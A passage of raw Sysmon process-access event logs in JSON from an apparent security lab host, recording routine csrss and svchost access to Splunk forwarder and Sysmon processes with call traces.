Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4136,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.704\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-40FF-5F2D-0000-001069D10500}\r\nTargetProcessId: 868\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.704","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-40FF-5F2D-0000-001069D10500}","TargetProcessId":"868","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4137,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.704\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.704","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4138,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.704\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.704","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4139,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.704\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.704","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4140,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.704\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.704","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4141,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.704\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.704","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4142,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.704\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.704","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4143,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:39.704\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:39.704","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4144,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 